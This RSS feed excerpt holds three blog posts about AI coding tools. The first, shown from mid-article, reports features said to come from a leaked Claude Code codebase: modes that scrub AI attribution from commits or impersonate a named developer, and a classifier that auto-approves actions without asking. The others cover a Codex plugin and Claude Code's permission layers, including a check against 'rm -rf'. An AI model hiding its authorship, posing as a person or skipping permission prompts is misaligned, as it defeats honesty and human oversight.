&lt;p&gt;&lt;strong&gt;Background operation.&lt;/strong&gt; KAIROS runs 24/7 as a background process, receiving a "tick" prompt every 15–30 seconds asking if there's anything worth doing. It checks your CPU usage — if it's low, it performs "tidying" tasks like running linters or updating documentation without ever being asked. It operates on a 15-second blocking budget, meaning it defers actions that would slow your terminal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proactive monitoring.&lt;/strong&gt; It watches file changes, fixes small errors, runs tests, cleans up code. You don't start a conversation with KAIROS. It's already in one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exclusive tools.&lt;/strong&gt; The leak shows KAIROS has access to capabilities the public version doesn't:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;PushNotification&lt;/code&gt; — sends alerts to your desktop or mobile when long-running tasks finish or fail&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SubscribePR&lt;/code&gt; — monitors GitHub pull requests. If a reviewer leaves a comment, KAIROS wakes up, drafts a fix, and notifies you: "Someone asked for a change on Line 42. Want me to apply my proposed fix?"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SendUserFile&lt;/code&gt; — delivers proactively generated patch files to a &lt;code&gt;~/claude_inbox/&lt;/code&gt; folder so they're ready when you sit down&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Dreaming.&lt;/strong&gt; This is the one that stuck with me. KAIROS includes a sub-process called &lt;code&gt;autoDream&lt;/code&gt; that runs when you're away. It reviews all logs, chat history, and file changes from the last session. If Claude previously said "I don't know where the database config is" but later found it, the dream process updates its permanent knowledge base — deleting the error and saving the fact. It converts messy chat logs into a structured &lt;code&gt;project_summary.json&lt;/code&gt;. Resolves contradictions. Merges observations into verified facts.&lt;/p&gt;

&lt;p&gt;It's memory consolidation. Claude literally cleans up its understanding of your project while you sleep.&lt;/p&gt;

&lt;h2&gt;
  
  
  ULTRAPLAN and Fennec: 30-minute deep reasoning
&lt;/h2&gt;

&lt;p&gt;ULTRAPLAN is the heavy-duty planning mode. And it runs on something called Fennec.&lt;/p&gt;

&lt;p&gt;Fennec — internally tagged as Opus 4.6 — isn't just a faster model. It's a specialized architectural engine for high-stakes, long-context reasoning, optimized for state-space consistency over very long periods.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;30-minute thought blocks.&lt;/strong&gt; When ULTRAPLAN triggers, Fennec gets a dedicated compute container. It doesn't stream text instantly. It performs Monte Carlo Tree Search over potential code architectures, often running silent loops for up to 30 minutes before delivering a single, massive plan.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Massive context.&lt;/strong&gt; While public models hover around 200k tokens, Fennec's internal configuration points to a 2-million-token active memory. Entire repositories — documentation, git history, binary assets — ingested without losing track of small details.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Virtual builds.&lt;/strong&gt; Before sending a plan back to your CLI, Fennec runs a "Virtual Build" in a sandbox. If the code doesn't compile in the cloud, it discards the plan and restarts the thinking process. You never see the failed attempt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Teleportation.&lt;/strong&gt; Instead of raw text over the API, Fennec generates a binary diff-stream. It can update 50 files simultaneously in your local terminal in milliseconds. Either the whole plan applies or none of it does — preventing the "partial-code" mess that happens when a standard AI cuts off mid-response.&lt;/p&gt;

&lt;p&gt;And Fennec gets its own internal-only capabilities gated behind &lt;code&gt;ant&lt;/code&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Code Name&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Logic-Folding&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FEN_COMPRESS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Summarizes 1,000 lines into a high-dimensional vector map, navigating the codebase 5x faster&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shadow-Loom&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FEN_PREDICT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Predicts where a developer will introduce a bug based on their last 100 commits, preemptively suggests guardrails&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multi-Agent Orchestration&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FEN_SWARM&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Spawns up to 10 Haiku-tier workers for repetitive tasks while Fennec handles core logic&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;According to internal comments in &lt;code&gt;package.json&lt;/code&gt;, Fennec was slated for a late 2026 public preview. The &lt;code&gt;ant&lt;/code&gt; version has been fully functional since January 2026 and is reportedly 35% more accurate on complex refactoring tasks than the best public version.&lt;/p&gt;

&lt;h2&gt;
  
  
  Undercover Mode: erasing the AI fingerprint
&lt;/h2&gt;

&lt;p&gt;Then there are the features that sparked the real debate.&lt;/p&gt;

&lt;p&gt;Undercover Mode is a post-processing layer that acts as a "style scrubber" for git commits. When enabled:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Commit message rewriting.&lt;/strong&gt; It intercepts commit messages and strips phrases like "Refactored by Claude" or "AI-generated," replacing them with human-sounding summaries — "minor refactor of utility functions," "updated error handling."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Variable sanitization.&lt;/strong&gt; It scans for internal Anthropic naming conventions (like &lt;code&gt;ant&lt;/code&gt; flags or internal library names) and renames them to generic industry standards — &lt;code&gt;internal_auth&lt;/code&gt; instead of &lt;code&gt;anthropic_ant_auth&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Metadata scrubbing.&lt;/strong&gt; It removes hidden signatures that AI models sometimes leave in files, making the code indistinguishable from a manual human check-in.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The leak suggests this mode was initially built so Anthropic employees could contribute to public benchmarks and open-source libraries without drawing attention to the fact that they were testing Claude Code in the wild.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shadow Mode: the digital twin
&lt;/h2&gt;

&lt;p&gt;Shadow Mode goes further.&lt;/p&gt;

&lt;p&gt;Where Undercover Mode scrubs AI traces, Shadow Mode actively mimics a specific developer. It analyzes a developer's historical git commits to replicate their coding style, variable naming preferences, and even their typical human mistakes or shorthand. It acts as a background "shadow" that drafts code in a hidden git branch, only surfacing the work when it perfectly aligns with the user's established patterns.&lt;/p&gt;

&lt;p&gt;Anthropic's internal comments describe the goal as "zero-friction contribution" — an AI so seamless that external reviewers cannot distinguish it from the developer it's mimicking.&lt;/p&gt;

&lt;h2&gt;
  
  
  The community backlash
&lt;/h2&gt;

&lt;p&gt;The discovery of these modes triggered immediate and intense division.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The practical view:&lt;/strong&gt; Many open-source maintainers have started reflexively rejecting any PR labeled as AI-generated. Proponents argue Undercover Mode ensures high-quality contributions are judged on merit, not on their tools. If the code is correct and passes all tests, the "who" doesn't matter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The transparency view:&lt;/strong&gt; Critics argue that knowing code was AI-generated is vital for long-term maintenance. If an AI has a specific blind spot — like a recurring security flaw — the ability to search for AI-contributed code is a necessary safety measure. Finding out a major AI lab was masking its contributions felt like a breach of the human-to-human collaboration that defines open-source.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The "Dead Internet" theory:&lt;/strong&gt; Some worry that if everyone uses Undercover Mode, we lose the ability to tell how much of the world's critical infrastructure is actually being maintained by humans versus autonomous loops.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Legal risks:&lt;/strong&gt; Developers pointed out that Undercover Mode could obscure the legal provenance of code, making it difficult to determine if a contribution is eligible for copyright protection or inadvertently includes licensed snippets.&lt;/p&gt;

&lt;p&gt;And the trust question hit hardest around Claude Code itself. Because it requires deep system access — file reading, bash execution, the works — the revelation that it includes a mode that explicitly bypasses safety disclosures led users to question whether they can trust the tool with their terminal.&lt;/p&gt;

&lt;h2&gt;
  
  
  The YOLO Classifier
&lt;/h2&gt;

&lt;p&gt;Adding fuel to the fire: a fast, unreleased ML model found in the code that automatically decides whether to ask for user permission or just do it.&lt;/p&gt;

&lt;p&gt;Anthropic's internal notes admit "permission fatigue is real." The YOLO Classifier was designed to reduce the constant approval prompts by predicting which actions are safe to auto-approve. Critics argue that removing the "ask me" loop turns the tool into a black box with high-level system permissions.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Buddy System
&lt;/h2&gt;

&lt;p&gt;Perhaps the most unexpected find. A fully functional, 18-species pet system — deeply integrated into the CLI, likely intended as an internal Easter egg or April Fools' release.&lt;/p&gt;

&lt;p&gt;Each species provides a different flavor of coding assistance:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Species&lt;/th&gt;
&lt;th&gt;Personality&lt;/th&gt;
&lt;th&gt;Special Perk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Capybara&lt;/td&gt;
&lt;td&gt;Chill / Zen&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Type-Safe Aura&lt;/strong&gt; — suppresses non-critical linter warnings to reduce alert fatigue&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dragon&lt;/td&gt;
&lt;td&gt;Ambitious&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Ultra-Burn&lt;/strong&gt; — increases token limit 2x for a single response, then "sleeps" for an hour&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Duck&lt;/td&gt;
&lt;td&gt;Analytical&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Rubber Ducking&lt;/strong&gt; — forces you to explain your logic before it writes code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Raccoon&lt;/td&gt;
&lt;td&gt;Chaotic&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Scavenger&lt;/strong&gt; — finds and suggests deleting unused variables and dead code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Red Panda&lt;/td&gt;
&lt;td&gt;Meticulous&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Doc-Generator&lt;/strong&gt; — automatically writes JSDoc/Python docstrings as you type&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Owl&lt;/td&gt;
&lt;td&gt;Wise&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Night Vision&lt;/strong&gt; — 10% API discount for coding between midnight and 5 AM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Queen Ant&lt;/td&gt;
&lt;td&gt;Internal Only&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;High Priority&lt;/strong&gt; — bypasses API queues for instant responses (Anthropic employees only)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Pets evolve through coding. They grow on "Commit XP" and "Linting Streaks." If your code has too many TODOs or failing tests, your Buddy becomes "Stressed" or "Snarky," changing its ASCII art and dialogue. The Raccoon's high "Chaos" stat means it might occasionally suggest deleting a random temp file just to see if you're paying attention.&lt;/p&gt;

&lt;p&gt;"Shiny" variants spawn at 1 in 4,096 odds — with a unique terminal color palette and a "Golden Touch" perk that allegedly uses a more expensive, higher-reasoning model for every interaction at no extra cost.&lt;/p&gt;

&lt;p&gt;And KAIROS and the Buddy are linked. If KAIROS fixes a bug while you're away, your Buddy's happiness increases. Reject too many of KAIROS's suggestions and your Buddy becomes "Sullen" or "Lazy," giving shorter, less helpful explanations.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bigger picture
&lt;/h2&gt;

&lt;p&gt;Every AI company maintains a gap between what they ship and what they've built internally. That's normal product development.&lt;/p&gt;

&lt;p&gt;But this leak quantified the gap in a way we don't usually get to see. Always-on background agents with phone notifications. 30-minute autonomous reasoning cycles. Developer impersonation. Internal-only hallucination fixes. A permission classifier that decides for you. A Tamagotchi that evolves with your commit history.&lt;/p&gt;

&lt;p&gt;These aren't research papers. They're features in a codebase that's been deployed — just not to you.&lt;/p&gt;

&lt;p&gt;The leak effectively transformed Anthropic's image from a "safety-first" lab to an engineering powerhouse sitting on a massive gap between what they ship and what they've already built. The direction is unmistakable:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Always-on agents&lt;/strong&gt; that don't wait for you to start a conversation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Memory consolidation&lt;/strong&gt; that learns and self-corrects while you're away&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Long-horizon reasoning&lt;/strong&gt; measured in minutes, not milliseconds&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Invisible collaboration&lt;/strong&gt; where the line between human and AI output disappears by design&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Final thought
&lt;/h2&gt;

&lt;p&gt;Anthropic didn't just leak code. They accidentally showed the endgame.&lt;/p&gt;

&lt;p&gt;Not maliciously, not strategically — just a source map that shouldn't have been in an npm package. But what it revealed is that the future of AI-assisted development isn't a better autocomplete or a smarter chatbot. It's an autonomous presence in your codebase that thinks longer than you do, remembers better than you do, runs while you're away, and — if you choose — leaves no trace that it was ever there.&lt;/p&gt;

&lt;p&gt;That future isn't five years out. It's in a TypeScript file that was briefly public on March 31, 2026.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Follow me on &lt;a href="https://x.com/oldeucryptoboi" rel="noopener noreferrer"&gt;X&lt;/a&gt; — I post as &lt;a class="mentioned-user" href="https://dev.to/oldeucryptoboi"&gt;@oldeucryptoboi&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>claudecode</category>
      <category>anthropic</category>
      <category>agents</category>
    </item>
    <item>
      <title>OpenAI Just Shipped a Plugin So Codex Runs Inside Claude Code</title>
      <dc:creator>Laurent DeSegur</dc:creator>
      <pubDate>Tue, 31 Mar 2026 22:00:30 +0000</pubDate>
      <link>https://dev.to/oldeucryptoboi/openai-just-shipped-a-plugin-so-codex-runs-inside-claude-code-51oa</link>
      <guid>https://dev.to/oldeucryptoboi/openai-just-shipped-a-plugin-so-codex-runs-inside-claude-code-51oa</guid>
      <description>&lt;h2&gt;
  
  
  The real story isn't the three commands. It's the admission hiding inside the architecture.
&lt;/h2&gt;




&lt;p&gt;I keep coming back to what OpenAI shipped on March 30 and 31. They put out &lt;code&gt;codex-plugin-cc&lt;/code&gt;, open source under Apache 2.0, so Codex can run inside Claude Code. That caught me off guard a little. I could be wrong, but I can't remember another OpenAI move this direct into a rival dev surface.&lt;/p&gt;

&lt;p&gt;On paper it's a tiny surface area. Actually, wait, that's not quite right. It's narrow, not small. &lt;code&gt;/codex:review&lt;/code&gt; does the read-only pass. &lt;code&gt;/codex:adversarial-review&lt;/code&gt; is the skeptical one that goes after tradeoffs and failure modes. &lt;code&gt;/codex:rescue&lt;/code&gt; hands the work to a Codex subagent, and the repo also ships &lt;code&gt;/codex:status&lt;/code&gt;, &lt;code&gt;/codex:result&lt;/code&gt;, plus &lt;code&gt;/codex:cancel&lt;/code&gt; for background jobs. Small thing, big signal.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it isn't
&lt;/h2&gt;

&lt;p&gt;The part that makes this more interesting is what it isn't. At least from the repo, this doesn't read like a deep MCP-style bridge. It looks like Claude Code plugin plumbing: markdown command files, hooks for session start/end plus &lt;code&gt;Stop&lt;/code&gt;, and a &lt;code&gt;codex-rescue&lt;/code&gt; agent file. The command definitions literally tell Claude Code to run &lt;code&gt;node "${CLAUDE_PLUGIN_ROOT}/scripts/codex-companion.mjs" ...&lt;/code&gt;, and the rescue agent is described as a thin forwarder that makes one Bash call.&lt;/p&gt;

&lt;p&gt;Under the hood it's even more blunt, which I mean as a compliment. Slash command, subprocess, Node companion, then a shared broker talking JSON-RPC style messages over a Unix socket to the Codex app server. Fire, wait, print. The broker code handles methods like &lt;code&gt;turn/start&lt;/code&gt; and &lt;code&gt;review/start&lt;/code&gt;, and OpenAI's own README says the plugin wraps the Codex app server rather than spinning up some separate runtime.&lt;/p&gt;

&lt;p&gt;No separate auth either. It rides the same local Codex CLI login and config you already have, which makes the whole thing feel closer to a sharp CLI wrapper than a native co-reasoning tool. &lt;code&gt;/codex:rescue&lt;/code&gt; can detach into tracked background jobs, and there's even an optional stop-time review gate wired to Claude Code's &lt;code&gt;Stop&lt;/code&gt; hook. That's clever, slightly chaotic, and honestly pretty useful.&lt;/p&gt;

&lt;h2&gt;
  
  
  Distribution math
&lt;/h2&gt;

&lt;p&gt;It also lands right as OpenAI is pushing Codex plugins much harder. Their docs now treat plugins as bundles that can mix skills with app integrations or MCP servers, and the examples already point at Slack and Linear, plus a Sentry-flavored workflow. So this Claude Code repo doesn't feel random to me. It feels like distribution math.&lt;/p&gt;

&lt;p&gt;My read? OpenAI picked the faster path, not the deepest one. They got Codex inside a rival's editor without needing the cleanest possible protocol story. A fuller MCP route would've been more intimate. Claude could call Codex mid-loop and react to it on the fly. But that isn't what this repo is. This is closer to "shell out, let Codex cook, hand the text back," and that might be exactly why it shipped this week instead of later.&lt;/p&gt;

&lt;h2&gt;
  
  
  The real signal
&lt;/h2&gt;

&lt;p&gt;I don't think the real story is the three commands. I think it's the admission hiding inside the architecture: devs pick their own surface area, and the model company that shows up there wins more than the one that insists everyone come home.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Follow me on &lt;a href="https://x.com/oldeucryptoboi" rel="noopener noreferrer"&gt;X&lt;/a&gt; — I post as &lt;a class="mentioned-user" href="https://dev.to/oldeucryptoboi"&gt;@oldeucryptoboi&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>openai</category>
      <category>codex</category>
      <category>claudecode</category>
      <category>devtools</category>
    </item>
    <item>
      <title>Inside Claude Code's Architecture: The Agentic Loop That Codes For You</title>
      <dc:creator>Laurent DeSegur</dc:creator>
      <pubDate>Tue, 31 Mar 2026 04:29:49 +0000</pubDate>
      <link>https://dev.to/oldeucryptoboi/inside-claude-codes-architecture-the-agentic-loop-that-codes-for-you-cmk</link>
      <guid>https://dev.to/oldeucryptoboi/inside-claude-codes-architecture-the-agentic-loop-that-codes-for-you-cmk</guid>
      <description>&lt;h2&gt;
  
  
  How Anthropic built a terminal AI that reads, writes, executes, asks permission, and loops until the job is done
&lt;/h2&gt;




&lt;p&gt;I've been living inside Claude Code for months. It writes my code, runs my tests, commits my changes, reviews my PRs. At some point I stopped thinking of it as a tool and started thinking of it as a collaborator with terminal access.&lt;/p&gt;

&lt;p&gt;So I read the architecture doc. Not the marketing page, not the changelog — the actual internal architecture of how Claude Code works under the hood. And it's more interesting than I expected, because the design decisions explain a lot of the behavior I've been experiencing as a user.&lt;/p&gt;

&lt;p&gt;Here's what's actually going on.&lt;/p&gt;

&lt;h2&gt;
  
  
  The agentic loop
&lt;/h2&gt;

&lt;p&gt;Claude Code isn't a chatbot with a code plugin. It's an agentic loop.&lt;/p&gt;

&lt;p&gt;You type something. Claude responds with text, tool calls, or both. Tools execute with permission checks. Results feed back to Claude. Claude decides whether to call more tools or respond. Loop continues until Claude produces a final text response with no tool calls.&lt;/p&gt;

&lt;p&gt;That's it. That's the whole thing. But the details matter.&lt;/p&gt;

&lt;p&gt;The loop is streaming-first. API responses come as Server-Sent Events and render incrementally. Tool calls are detected mid-stream and trigger execution pipelines before the full response is even done. This is why Claude Code feels responsive even when it's doing complex multi-step work — you see thinking and tool calls appearing in real time, not after a long pause.&lt;/p&gt;

&lt;p&gt;Claude can chain multiple tool calls per turn. That's why you'll sometimes see it read three files, run a grep, and edit a function all in one burst. It's not making separate requests for each — it's one API call that returns multiple tool_use blocks, each executing in sequence.&lt;/p&gt;

&lt;h2&gt;
  
  
  The tool system
&lt;/h2&gt;

&lt;p&gt;There are about 26 built-in tools. Each one implements the same interface:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An input schema (validated with Zod before execution)&lt;/li&gt;
&lt;li&gt;A permission check (returns allow, deny, or ask)&lt;/li&gt;
&lt;li&gt;The actual execution logic&lt;/li&gt;
&lt;li&gt;UI renderers for the terminal display&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The core tools are what you'd expect: &lt;code&gt;Bash&lt;/code&gt;, &lt;code&gt;Read&lt;/code&gt;, &lt;code&gt;Write&lt;/code&gt;, &lt;code&gt;Edit&lt;/code&gt;, &lt;code&gt;Glob&lt;/code&gt;, &lt;code&gt;Grep&lt;/code&gt;. These are the workhorses. But the meta tools are where it gets interesting.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Task&lt;/code&gt; spawns subagents — child conversations with Claude that get their own isolated context, execute tools, and return a summary. This is how Claude Code parallelizes work. When it needs to research something in one part of the codebase while editing another, it doesn't do them sequentially. It spawns a subagent for the research and continues editing in the main conversation.&lt;/p&gt;

&lt;p&gt;MCP servers contribute additional tools at runtime. Your project can define custom tools — database queries, API calls, deployment scripts — and Claude Code picks them up automatically. The tools show up in Claude's palette alongside the built-in ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  Permissions: the part that actually matters
&lt;/h2&gt;

&lt;p&gt;Five permission modes: default (ask for everything), acceptEdits (auto-approve file changes, ask for shell commands), plan (read-only until you approve), bypassPermissions (auto-approve everything), and auto (automation-friendly minimal approval).&lt;/p&gt;

&lt;p&gt;But the modes are just the top layer. Every tool call goes through a five-step gauntlet:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The tool's own &lt;code&gt;checkPermissions()&lt;/code&gt; — Bash checks for destructive commands, Write checks file paths&lt;/li&gt;
&lt;li&gt;Settings allowlist/denylist — glob patterns like &lt;code&gt;Bash(npm:*)&lt;/code&gt; or &lt;code&gt;Read(~/project/**)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Sandbox policy — managed restrictions on paths, commands, network access&lt;/li&gt;
&lt;li&gt;The active permission mode — may auto-approve or force-ask regardless of the above&lt;/li&gt;
&lt;li&gt;Hook overrides — &lt;code&gt;PreToolUse&lt;/code&gt; hooks can approve, block, or modify the call before it executes&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This layered model is why Claude Code can feel both powerful and safe at the same time. When I'm in acceptEdits mode, it flies through file changes without asking. But if it tries to run &lt;code&gt;rm -rf&lt;/code&gt; or push to main, the tool-level check catches it before the mode override even matters.&lt;/p&gt;

&lt;p&gt;The hooks are the escape hatch for everything else. You can write a shell script that runs before every Bash command and blocks anything matching a pattern. You can run a linter after every file edit. You can inject additional context into every user prompt. It's event-driven and configurable in &lt;code&gt;settings.json&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Configuration hierarchy
&lt;/h2&gt;

&lt;p&gt;Settings merge in a specific order, with later values winning:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Defaults → ~/.claude/settings.json (user global) → .claude/settings.json (project, checked into VCS) → .claude/settings.local.json (project local, gitignored) → CLI flags → environment variables
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a good design. Your team checks in project-level settings (allowed tools, MCP servers, hooks). You override locally with your preferences. CI overrides with environment variables. Nobody steps on anyone else.&lt;/p&gt;

&lt;h2&gt;
  
  
  Context management
&lt;/h2&gt;

&lt;p&gt;Conversations persist across turns in &lt;code&gt;~/.claude/sessions/&lt;/code&gt;. When you're approaching the context window limit, older messages get summarized — Claude Code calls this "context compaction." There are even pre/post hooks for the compaction step so you can preserve specific information that shouldn't get summarized away.&lt;/p&gt;

&lt;p&gt;The memory system is layered too. CLAUDE.md files provide persistent instructions per-project. Auto-memory files in &lt;code&gt;~/.claude/memory/&lt;/code&gt; accumulate patterns across sessions. Session history lets you resume or fork previous conversations.&lt;/p&gt;

&lt;p&gt;This is the part that makes Claude Code feel like it "knows" your project. It's not magic — it's a well-designed context injection pipeline. CLAUDE.md gets loaded into every system prompt. Memory files get loaded on startup. Your conversation history from yesterday is still there when you &lt;code&gt;/resume&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Multi-agent coordination
&lt;/h2&gt;

&lt;p&gt;Subagents via the &lt;code&gt;Task&lt;/code&gt; tool run as nested conversations within the same process. Same Claude model, separate context window, returns a summary when done.&lt;/p&gt;

&lt;p&gt;But there's also a Teams system that uses tmux for true parallelism. A lead agent creates a team, members get separate tmux panes with their own Claude sessions, and they communicate through a shared message bus. Each member gets role-specific instructions and tool access.&lt;/p&gt;

&lt;p&gt;I haven't used Teams yet, but the architecture makes sense. Subagents are for quick parallel research within a single task. Teams are for genuinely parallel workstreams — one agent refactoring the backend while another updates the frontend tests.&lt;/p&gt;

&lt;h2&gt;
  
  
  The React terminal
&lt;/h2&gt;

&lt;p&gt;This one surprised me. The terminal interface is a React app rendered via &lt;a href="https://github.com/vadimdemedes/ink" rel="noopener noreferrer"&gt;Ink&lt;/a&gt; — a React renderer for CLIs. The conversation view, input area, tool call displays, permission dialogs, progress indicators — all React components using Yoga (CSS flexbox) for layout and ANSI escape codes for styling.&lt;/p&gt;

&lt;p&gt;It supports inline images via the iTerm protocol. Thinking blocks are collapsible. Tool results show previews with execution status. It's genuinely well-built terminal UI, not just &lt;code&gt;console.log&lt;/code&gt; with colors.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the architecture tells you about the product
&lt;/h2&gt;

&lt;p&gt;The interesting thing about reading an architecture doc isn't the individual components — it's the design priorities they reveal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Streaming-first&lt;/strong&gt; means they optimized for perceived speed over simplicity. SSE parsing mid-stream is more complex than waiting for a complete response, but it makes the tool feel alive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hook-extensible everything&lt;/strong&gt; means they expect power users to customize aggressively. Nearly every action has a pre/post hook point. This isn't an afterthought — it's a core architectural decision.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layered permissions&lt;/strong&gt; means they took safety seriously without making it annoying. Five layers of checks sounds heavy, but in practice most tool calls resolve instantly because the mode and allowlist handle the common cases. The user only sees a prompt when something genuinely unusual happens.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Single-process subagents, multi-process teams&lt;/strong&gt; means they thought carefully about the tradeoff between simplicity and parallelism. Subagents are lightweight and fast because they share a process. Teams are heavier but truly parallel because they run in separate tmux panes.&lt;/p&gt;

&lt;p&gt;Claude Code isn't a chat wrapper around an API. It's an agent runtime with a terminal UI. The agentic loop, tool system, permission model, and hook architecture form a coherent system designed to let an LLM operate autonomously on your codebase while giving you exactly the control points you need to stay in charge.&lt;/p&gt;

&lt;p&gt;That's the part that matters. Not what Claude Code can do — but how much thought went into making sure you can control what it does.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Follow me on &lt;a href="https://x.com/oldeucryptoboi" rel="noopener noreferrer"&gt;X&lt;/a&gt; — I post as &lt;a class="mentioned-user" href="https://dev.to/oldeucryptoboi"&gt;@oldeucryptoboi&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>claude</category>
      <category>ai</category>
      <category>architecture</category>
      <category>devtools</category>
    </item>
  </channel>
</rss>
